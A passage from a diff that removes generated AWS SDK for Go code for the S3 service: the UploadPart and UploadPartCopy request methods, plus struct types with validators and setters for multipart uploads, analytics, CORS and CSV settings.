https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/SelectObjectContent -func (c *S3) SelectObjectContent(input *SelectObjectContentInput) (*SelectObjectContentOutput, error) { - req, out := c.SelectObjectContentRequest(input) - return out, req.Send() -} - -// SelectObjectContentWithContext is the same as SelectObjectContent with the addition of -// the ability to pass a context and additional request options. -// -// See SelectObjectContent for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) SelectObjectContentWithContext(ctx aws.Context, input *SelectObjectContentInput, opts ...request.Option) (*SelectObjectContentOutput, error) { - req, out := c.SelectObjectContentRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opUploadPart = "UploadPart" - -// UploadPartRequest generates a "aws/request.Request" representing the -// client's request for the UploadPart operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See UploadPart for more information on using the UploadPart -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the UploadPartRequest method. -// req, resp := client.UploadPartRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPart -func (c *S3) UploadPartRequest(input *UploadPartInput) (req *request.Request, output *UploadPartOutput) { - op := &request.Operation{ - Name: opUploadPart, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &UploadPartInput{} - } - - output = &UploadPartOutput{} - req = c.newRequest(op, input, output) - return -} - -// UploadPart API operation for Amazon Simple Storage Service. -// -// Uploads a part in a multipart upload. -// -// Note: After you initiate multipart upload and upload one or more parts, you -// must either complete or abort multipart upload in order to stop getting charged -// for storage of the uploaded parts. Only after you either complete or abort -// multipart upload, Amazon S3 frees up the parts storage and stops charging -// you for the parts storage. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation UploadPart for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPart -func (c *S3) UploadPart(input *UploadPartInput) (*UploadPartOutput, error) { - req, out := c.UploadPartRequest(input) - return out, req.Send() -} - -// UploadPartWithContext is the same as UploadPart with the addition of -// the ability to pass a context and additional request options. -// -// See UploadPart for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) UploadPartWithContext(ctx aws.Context, input *UploadPartInput, opts ...request.Option) (*UploadPartOutput, error) { - req, out := c.UploadPartRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opUploadPartCopy = "UploadPartCopy" - -// UploadPartCopyRequest generates a "aws/request.Request" representing the -// client's request for the UploadPartCopy operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See UploadPartCopy for more information on using the UploadPartCopy -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the UploadPartCopyRequest method. -// req, resp := client.UploadPartCopyRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPartCopy -func (c *S3) UploadPartCopyRequest(input *UploadPartCopyInput) (req *request.Request, output *UploadPartCopyOutput) { - op := &request.Operation{ - Name: opUploadPartCopy, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &UploadPartCopyInput{} - } - - output = &UploadPartCopyOutput{} - req = c.newRequest(op, input, output) - return -} - -// UploadPartCopy API operation for Amazon Simple Storage Service. -// -// Uploads a part by copying data from an existing object as data source. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation UploadPartCopy for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPartCopy -func (c *S3) UploadPartCopy(input *UploadPartCopyInput) (*UploadPartCopyOutput, error) { - req, out := c.UploadPartCopyRequest(input) - return out, req.Send() -} - -// UploadPartCopyWithContext is the same as UploadPartCopy with the addition of -// the ability to pass a context and additional request options. -// -// See UploadPartCopy for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) UploadPartCopyWithContext(ctx aws.Context, input *UploadPartCopyInput, opts ...request.Option) (*UploadPartCopyOutput, error) { - req, out := c.UploadPartCopyRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// Specifies the days since the initiation of an Incomplete Multipart Upload -// that Lifecycle will wait before permanently removing all parts of the upload. -type AbortIncompleteMultipartUpload struct { - _ struct{} `type:"structure"` - - // Indicates the number of days that must pass since initiation for Lifecycle - // to abort an Incomplete Multipart Upload. - DaysAfterInitiation *int64 `type:"integer"` -} - -// String returns the string representation -func (s AbortIncompleteMultipartUpload) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AbortIncompleteMultipartUpload) GoString() string { - return s.String() -} - -// SetDaysAfterInitiation sets the DaysAfterInitiation field's value. -func (s *AbortIncompleteMultipartUpload) SetDaysAfterInitiation(v int64) *AbortIncompleteMultipartUpload { - s.DaysAfterInitiation = &v - return s -} - -type AbortMultipartUploadInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // UploadId is a required field - UploadId *string `location:"querystring" locationName:"uploadId" type:"string" required:"true"` -} - -// String returns the string representation -func (s AbortMultipartUploadInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AbortMultipartUploadInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AbortMultipartUploadInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AbortMultipartUploadInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.UploadId == nil { - invalidParams.Add(request.NewErrParamRequired("UploadId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *AbortMultipartUploadInput) SetBucket(v string) *AbortMultipartUploadInput { - s.Bucket = &v - return s -} - -func (s *AbortMultipartUploadInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *AbortMultipartUploadInput) SetKey(v string) *AbortMultipartUploadInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *AbortMultipartUploadInput) SetRequestPayer(v string) *AbortMultipartUploadInput { - s.RequestPayer = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *AbortMultipartUploadInput) SetUploadId(v string) *AbortMultipartUploadInput { - s.UploadId = &v - return s -} - -type AbortMultipartUploadOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s AbortMultipartUploadOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AbortMultipartUploadOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *AbortMultipartUploadOutput) SetRequestCharged(v string) *AbortMultipartUploadOutput { - s.RequestCharged = &v - return s -} - -type AccelerateConfiguration struct { - _ struct{} `type:"structure"` - - // The accelerate configuration of the bucket. - Status *string `type:"string" enum:"BucketAccelerateStatus"` -} - -// String returns the string representation -func (s AccelerateConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AccelerateConfiguration) GoString() string { - return s.String() -} - -// SetStatus sets the Status field's value. -func (s *AccelerateConfiguration) SetStatus(v string) *AccelerateConfiguration { - s.Status = &v - return s -} - -type AccessControlPolicy struct { - _ struct{} `type:"structure"` - - // A list of grants. - Grants []*Grant `locationName:"AccessControlList" locationNameList:"Grant" type:"list"` - - Owner *Owner `type:"structure"` -} - -// String returns the string representation -func (s AccessControlPolicy) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AccessControlPolicy) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AccessControlPolicy) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AccessControlPolicy"} - if s.Grants != nil { - for i, v := range s.Grants { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Grants", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetGrants sets the Grants field's value. -func (s *AccessControlPolicy) SetGrants(v []*Grant) *AccessControlPolicy { - s.Grants = v - return s -} - -// SetOwner sets the Owner field's value. -func (s *AccessControlPolicy) SetOwner(v *Owner) *AccessControlPolicy { - s.Owner = v - return s -} - -// A container for information about access control for replicas. -type AccessControlTranslation struct { - _ struct{} `type:"structure"` - - // The override value for the owner of the replica object. - // - // Owner is a required field - Owner *string `type:"string" required:"true" enum:"OwnerOverride"` -} - -// String returns the string representation -func (s AccessControlTranslation) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AccessControlTranslation) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AccessControlTranslation) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AccessControlTranslation"} - if s.Owner == nil { - invalidParams.Add(request.NewErrParamRequired("Owner")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetOwner sets the Owner field's value. -func (s *AccessControlTranslation) SetOwner(v string) *AccessControlTranslation { - s.Owner = &v - return s -} - -type AnalyticsAndOperator struct { - _ struct{} `type:"structure"` - - // The prefix to use when evaluating an AND predicate. - Prefix *string `type:"string"` - - // The list of tags to use when evaluating an AND predicate. - Tags []*Tag `locationName:"Tag" locationNameList:"Tag" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s AnalyticsAndOperator) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AnalyticsAndOperator) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AnalyticsAndOperator) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AnalyticsAndOperator"} - if s.Tags != nil { - for i, v := range s.Tags { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Tags", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPrefix sets the Prefix field's value. -func (s *AnalyticsAndOperator) SetPrefix(v string) *AnalyticsAndOperator { - s.Prefix = &v - return s -} - -// SetTags sets the Tags field's value. -func (s *AnalyticsAndOperator) SetTags(v []*Tag) *AnalyticsAndOperator { - s.Tags = v - return s -} - -type AnalyticsConfiguration struct { - _ struct{} `type:"structure"` - - // The filter used to describe a set of objects for analyses. A filter must - // have exactly one prefix, one tag, or one conjunction (AnalyticsAndOperator). - // If no filter is provided, all objects will be considered in any analysis. - Filter *AnalyticsFilter `type:"structure"` - - // The identifier used to represent an analytics configuration. - // - // Id is a required field - Id *string `type:"string" required:"true"` - - // If present, it indicates that data related to access patterns will be collected - // and made available to analyze the tradeoffs between different storage classes. - // - // StorageClassAnalysis is a required field - StorageClassAnalysis *StorageClassAnalysis `type:"structure" required:"true"` -} - -// String returns the string representation -func (s AnalyticsConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AnalyticsConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AnalyticsConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AnalyticsConfiguration"} - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.StorageClassAnalysis == nil { - invalidParams.Add(request.NewErrParamRequired("StorageClassAnalysis")) - } - if s.Filter != nil { - if err := s.Filter.Validate(); err != nil { - invalidParams.AddNested("Filter", err.(request.ErrInvalidParams)) - } - } - if s.StorageClassAnalysis != nil { - if err := s.StorageClassAnalysis.Validate(); err != nil { - invalidParams.AddNested("StorageClassAnalysis", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetFilter sets the Filter field's value. -func (s *AnalyticsConfiguration) SetFilter(v *AnalyticsFilter) *AnalyticsConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *AnalyticsConfiguration) SetId(v string) *AnalyticsConfiguration { - s.Id = &v - return s -} - -// SetStorageClassAnalysis sets the StorageClassAnalysis field's value. -func (s *AnalyticsConfiguration) SetStorageClassAnalysis(v *StorageClassAnalysis) *AnalyticsConfiguration { - s.StorageClassAnalysis = v - return s -} - -type AnalyticsExportDestination struct { - _ struct{} `type:"structure"` - - // A destination signifying output to an S3 bucket. - // - // S3BucketDestination is a required field - S3BucketDestination *AnalyticsS3BucketDestination `type:"structure" required:"true"` -} - -// String returns the string representation -func (s AnalyticsExportDestination) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AnalyticsExportDestination) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AnalyticsExportDestination) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AnalyticsExportDestination"} - if s.S3BucketDestination == nil { - invalidParams.Add(request.NewErrParamRequired("S3BucketDestination")) - } - if s.S3BucketDestination != nil { - if err := s.S3BucketDestination.Validate(); err != nil { - invalidParams.AddNested("S3BucketDestination", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetS3BucketDestination sets the S3BucketDestination field's value. -func (s *AnalyticsExportDestination) SetS3BucketDestination(v *AnalyticsS3BucketDestination) *AnalyticsExportDestination { - s.S3BucketDestination = v - return s -} - -type AnalyticsFilter struct { - _ struct{} `type:"structure"` - - // A conjunction (logical AND) of predicates, which is used in evaluating an - // analytics filter. The operator must have at least two predicates. - And *AnalyticsAndOperator `type:"structure"` - - // The prefix to use when evaluating an analytics filter. - Prefix *string `type:"string"` - - // The tag to use when evaluating an analytics filter. - Tag *Tag `type:"structure"` -} - -// String returns the string representation -func (s AnalyticsFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AnalyticsFilter) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AnalyticsFilter) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AnalyticsFilter"} - if s.And != nil { - if err := s.And.Validate(); err != nil { - invalidParams.AddNested("And", err.(request.ErrInvalidParams)) - } - } - if s.Tag != nil { - if err := s.Tag.Validate(); err != nil { - invalidParams.AddNested("Tag", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAnd sets the And field's value. -func (s *AnalyticsFilter) SetAnd(v *AnalyticsAndOperator) *AnalyticsFilter { - s.And = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *AnalyticsFilter) SetPrefix(v string) *AnalyticsFilter { - s.Prefix = &v - return s -} - -// SetTag sets the Tag field's value. -func (s *AnalyticsFilter) SetTag(v *Tag) *AnalyticsFilter { - s.Tag = v - return s -} - -type AnalyticsS3BucketDestination struct { - _ struct{} `type:"structure"` - - // The Amazon resource name (ARN) of the bucket to which data is exported. - // - // Bucket is a required field - Bucket *string `type:"string" required:"true"` - - // The account ID that owns the destination bucket. If no account ID is provided, - // the owner will not be validated prior to exporting data. - BucketAccountId *string `type:"string"` - - // The file format used when exporting data to Amazon S3. - // - // Format is a required field - Format *string `type:"string" required:"true" enum:"AnalyticsS3ExportFileFormat"` - - // The prefix to use when exporting data. The exported data begins with this - // prefix. - Prefix *string `type:"string"` -} - -// String returns the string representation -func (s AnalyticsS3BucketDestination) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s AnalyticsS3BucketDestination) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *AnalyticsS3BucketDestination) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "AnalyticsS3BucketDestination"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Format == nil { - invalidParams.Add(request.NewErrParamRequired("Format")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *AnalyticsS3BucketDestination) SetBucket(v string) *AnalyticsS3BucketDestination { - s.Bucket = &v - return s -} - -func (s *AnalyticsS3BucketDestination) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetBucketAccountId sets the BucketAccountId field's value. -func (s *AnalyticsS3BucketDestination) SetBucketAccountId(v string) *AnalyticsS3BucketDestination { - s.BucketAccountId = &v - return s -} - -// SetFormat sets the Format field's value. -func (s *AnalyticsS3BucketDestination) SetFormat(v string) *AnalyticsS3BucketDestination { - s.Format = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *AnalyticsS3BucketDestination) SetPrefix(v string) *AnalyticsS3BucketDestination { - s.Prefix = &v - return s -} - -type Bucket struct { - _ struct{} `type:"structure"` - - // Date the bucket was created. - CreationDate *time.Time `type:"timestamp"` - - // The name of the bucket. - Name *string `type:"string"` -} - -// String returns the string representation -func (s Bucket) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Bucket) GoString() string { - return s.String() -} - -// SetCreationDate sets the CreationDate field's value. -func (s *Bucket) SetCreationDate(v time.Time) *Bucket { - s.CreationDate = &v - return s -} - -// SetName sets the Name field's value. -func (s *Bucket) SetName(v string) *Bucket { - s.Name = &v - return s -} - -type BucketLifecycleConfiguration struct { - _ struct{} `type:"structure"` - - // Rules is a required field - Rules []*LifecycleRule `locationName:"Rule" type:"list" flattened:"true" required:"true"` -} - -// String returns the string representation -func (s BucketLifecycleConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s BucketLifecycleConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *BucketLifecycleConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "BucketLifecycleConfiguration"} - if s.Rules == nil { - invalidParams.Add(request.NewErrParamRequired("Rules")) - } - if s.Rules != nil { - for i, v := range s.Rules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Rules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetRules sets the Rules field's value. -func (s *BucketLifecycleConfiguration) SetRules(v []*LifecycleRule) *BucketLifecycleConfiguration { - s.Rules = v - return s -} - -type BucketLoggingStatus struct { - _ struct{} `type:"structure"` - - // Container for logging information. Presence of this element indicates that - // logging is enabled. Parameters TargetBucket and TargetPrefix are required - // in this case. - LoggingEnabled *LoggingEnabled `type:"structure"` -} - -// String returns the string representation -func (s BucketLoggingStatus) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s BucketLoggingStatus) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *BucketLoggingStatus) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "BucketLoggingStatus"} - if s.LoggingEnabled != nil { - if err := s.LoggingEnabled.Validate(); err != nil { - invalidParams.AddNested("LoggingEnabled", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetLoggingEnabled sets the LoggingEnabled field's value. -func (s *BucketLoggingStatus) SetLoggingEnabled(v *LoggingEnabled) *BucketLoggingStatus { - s.LoggingEnabled = v - return s -} - -type CORSConfiguration struct { - _ struct{} `type:"structure"` - - // CORSRules is a required field - CORSRules []*CORSRule `locationName:"CORSRule" type:"list" flattened:"true" required:"true"` -} - -// String returns the string representation -func (s CORSConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CORSConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CORSConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CORSConfiguration"} - if s.CORSRules == nil { - invalidParams.Add(request.NewErrParamRequired("CORSRules")) - } - if s.CORSRules != nil { - for i, v := range s.CORSRules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "CORSRules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetCORSRules sets the CORSRules field's value. -func (s *CORSConfiguration) SetCORSRules(v []*CORSRule) *CORSConfiguration { - s.CORSRules = v - return s -} - -type CORSRule struct { - _ struct{} `type:"structure"` - - // Specifies which headers are allowed in a pre-flight OPTIONS request. - AllowedHeaders []*string `locationName:"AllowedHeader" type:"list" flattened:"true"` - - // Identifies HTTP methods that the domain/origin specified in the rule is allowed - // to execute. - // - // AllowedMethods is a required field - AllowedMethods []*string `locationName:"AllowedMethod" type:"list" flattened:"true" required:"true"` - - // One or more origins you want customers to be able to access the bucket from. - // - // AllowedOrigins is a required field - AllowedOrigins []*string `locationName:"AllowedOrigin" type:"list" flattened:"true" required:"true"` - - // One or more headers in the response that you want customers to be able to - // access from their applications (for example, from a JavaScript XMLHttpRequest - // object). - ExposeHeaders []*string `locationName:"ExposeHeader" type:"list" flattened:"true"` - - // The time in seconds that your browser is to cache the preflight response - // for the specified resource. - MaxAgeSeconds *int64 `type:"integer"` -} - -// String returns the string representation -func (s CORSRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CORSRule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CORSRule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CORSRule"} - if s.AllowedMethods == nil { - invalidParams.Add(request.NewErrParamRequired("AllowedMethods")) - } - if s.AllowedOrigins == nil { - invalidParams.Add(request.NewErrParamRequired("AllowedOrigins")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAllowedHeaders sets the AllowedHeaders field's value. -func (s *CORSRule) SetAllowedHeaders(v []*string) *CORSRule { - s.AllowedHeaders = v - return s -} - -// SetAllowedMethods sets the AllowedMethods field's value. -func (s *CORSRule) SetAllowedMethods(v []*string) *CORSRule { - s.AllowedMethods = v - return s -} - -// SetAllowedOrigins sets the AllowedOrigins field's value. -func (s *CORSRule) SetAllowedOrigins(v []*string) *CORSRule { - s.AllowedOrigins = v - return s -} - -// SetExposeHeaders sets the ExposeHeaders field's value. -func (s *CORSRule) SetExposeHeaders(v []*string) *CORSRule { - s.ExposeHeaders = v - return s -} - -// SetMaxAgeSeconds sets the MaxAgeSeconds field's value. -func (s *CORSRule) SetMaxAgeSeconds(v int64) *CORSRule { - s.MaxAgeSeconds = &v - return s -} - -// Describes how a CSV-formatted input object is formatted. -type CSVInput struct { - _ struct{} `type:"structure"` - - // Specifies that CSV field values may contain quoted record delimiters and - // such records should be allowed. Default value is FALSE. Setting this value - // to TRUE may lower performance. - AllowQuotedRecordDelimiter *bool `type:"boolean"` - - // The single character used to indicate a row should be ignored when present - // at the start of a row. - Comments *string `type:"string"` - - // The value used to separate individual fields in a record. - FieldDelimiter *string `type:"string"` - - // Describes the first line of input. Valid values: None, Ignore, Use. - FileHeaderInfo *string `type:"string" enum:"FileHeaderInfo"` - - // Value used for escaping where the field delimiter is part of the value. - QuoteCharacter *string `type:"string"` - - // The single character used for escaping the quote character inside an already - // escaped value. - QuoteEscapeCharacter *string `type:"string"` - - // The value used to separate individual records. - RecordDelimiter *string `type:"string"` -} - -// String returns the string representation -func (s CSVInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CSVInput) GoString() string { - return s.String() -} - -// SetAllowQuotedRecordDelimiter sets the AllowQuotedRecordDelimiter field's value. -func (s *CSVInput) SetAllowQuotedRecordDelimiter(v bool) *CSVInput { - s.AllowQuotedRecordDelimiter = &v - return s -} - -// SetComments sets the Comments field's value. -func (s *CSVInput) SetComments(v string) *CSVInput { - s.Comments = &v - return s -} - -// SetFieldDelimiter sets the FieldDelimiter field's value. -func (s *CSVInput) SetFieldDelimiter(v string) *CSVInput { - s.FieldDelimiter = &v - return s -} - -// SetFileHeaderInfo sets the FileHeaderInfo field's value. -func (s *CSVInput) SetFileHeaderInfo(v string) *CSVInput { - s.FileHeaderInfo = &v - return s -} - -// SetQuoteCharacter sets the QuoteCharacter field's value. -func (s *CSVInput) SetQuoteCharacter(v string) *CSVInput { - s.QuoteCharacter = &v - return s -} - -// SetQuoteEscapeCharacter sets the QuoteEscapeCharacter field's value. -func (s *CSVInput) SetQuoteEscapeCharacter(v string) *CSVInput { - s.QuoteEscapeCharacter = &v - return s -} - -// SetRecordDelimiter sets the RecordDelimiter field's value. -func (s *CSVInput) SetRecordDelimiter(v string) *CSVInput { - s.RecordDelimiter = &v - return s -} - -// Describes how CSV-formatted results are formatted. -type CSVOutput struct { - _ struct{} `type:"structure"` - - // The value used to separate individual fields in a record. - FieldDelimiter *string `type:"string"` - - // The value used for escaping where the field delimiter is part of the value. - QuoteCharacter *string `type:"string"` - - // Th single character used for escaping the quote character inside an already - // escaped value. - QuoteEscapeCharacter *string `type:"string"` - - // Indicates whether or not all output fields should be quoted. - QuoteFields *string `type:"string" enum:"QuoteFields"` - - // The value used to separate individual records. - RecordDelimiter *string `type:"string"` -} - -// String returns the string representation -func (s CSVOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CSVOutput) GoString() string { - return s.String() -} - -// SetFieldDelimiter sets the FieldDelimiter field's value. -func (s *CSVOutput) SetFieldDelimiter(v string) *CSVOutput { - s.FieldDelimiter = &v - return s -} - -// SetQuoteCharacter sets the QuoteCharacter field's value. -func (s *CSVOutput) SetQuoteCharacter(v string) *CSVOutput { - s.QuoteCharacter = &v - return s -} - -// SetQuoteEscapeCharacter sets the QuoteEscapeCharacter field's value. -func (s *CSVOutput) SetQuoteEscapeCharacter(v string) *CSVOutput { - s.QuoteEscapeCharacter = &v - return s -} - -// SetQuoteFields sets the QuoteFields field's value. -func (s *CSVOutput) SetQuoteFields(v string) *CSVOutput { - s.QuoteFields = &v - return s -} - -// SetRecordDelimiter sets the RecordDelimiter field's value. -func (s *CSVOutput) SetRecordDelimiter(v string) *CSVOutput { - s.RecordDelimiter = &v - return s -} - -type CloudFunctionConfiguration struct { - _ struct{} `type:"structure"` - - CloudFunction *string `type:"string"` - - // The bucket event for which to send notifications. - // - // Deprecated: Event has been deprecated - Event *string `deprecated:"true" type:"string" enum:"Event"` - - Events []*string `locationName:"Event" type:"list" flattened:"true"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - InvocationRole *string `type:"string"` -} - -// String returns the string representation -func (s CloudFunctionConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CloudFunctionConfiguration) GoString() string { - return s.String() -} - -// SetCloudFunction sets the CloudFunction field's value. -func (s *CloudFunctionConfiguration) SetCloudFunction(v string) *CloudFunctionConfiguration { - s.CloudFunction = &v - return s -} - -// SetEvent sets the Event field's value. -func (s *CloudFunctionConfiguration) SetEvent(v string) *CloudFunctionConfiguration { - s.Event = &v - return s -} - -// SetEvents sets the Events field's value. -func (s *CloudFunctionConfiguration) SetEvents(v []*string) *CloudFunctionConfiguration { - s.Events = v - return s -} - -// SetId sets the Id field's value. -func (s *CloudFunctionConfiguration) SetId(v string) *CloudFunctionConfiguration { - s.Id = &v - return s -} - -// SetInvocationRole sets the InvocationRole field's value. -func (s *CloudFunctionConfiguration) SetInvocationRole(v string) *CloudFunctionConfiguration { - s.InvocationRole = &v - return s -} - -type CommonPrefix struct { - _ struct{} `type:"structure"` - - Prefix *string `type:"string"` -} - -// String returns the string representation -func (s CommonPrefix) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CommonPrefix) GoString() string { - return s.String() -} - -// SetPrefix sets the Prefix field's value. -func (s *CommonPrefix) 